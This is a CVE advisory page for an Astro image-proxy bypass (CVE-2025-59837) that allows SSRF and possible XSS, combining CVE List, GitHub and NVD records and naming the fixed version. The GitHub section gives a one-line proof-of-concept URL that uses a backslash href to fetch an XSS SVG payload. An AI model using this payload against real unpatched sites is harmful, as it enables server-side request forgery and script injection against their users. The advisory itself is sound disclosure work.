CVE-2025-59837
JSON

7.2high

astro allows bypass of image proxy domain validation leading to SSRF and potential XSS

Severity
7.2high CVSS:3.1 by GitHub_M
Exploit likelihood
0.35% (higher than 30% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qcpr-679q-rhm2

Description

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

Affected

Product or packageVersionsReported by
withastro astro>= 5.13.4, < 5.13.10CVE List
astro (npm)from 5.13.4 before 5.13.10GitHub Advisory Database
astro astrofrom 5.13.4 before 5.13.10NVD

All scores

GitHub_M7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
GitHub7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
NVD7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Classification

CWE-79CWE-918

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

GitHub Advisory Database
Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

NVD (es)

Astro es un framework web que incluye un proxy de imágenes. En las versiones 5.13.4 y posteriores anteriores a la 5.13.10, la validación de dominio del proxy de imágenes puede ser eludida usando barras invertidas en el parámetro href, permitiendo peticiones del lado del servidor a URLs arbitrarias. Esto puede llevar a la falsificación de petición del lado del servidor (SSRF) y potencialmente a cross-site scripting (XSS). Esta vulnerabilidad existe debido a una corrección incompleta para CVE-2025-58179. Corregido en 5.13.10.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-59837 changed 2025-10-29CVE Terms of Use
GitHub Advisory DatabaseGHSA-qcpr-679q-rhm2 changed 2025-10-29CC-BY-4.0
NVDCVE-2025-59837 changed 2026-10-08Public domain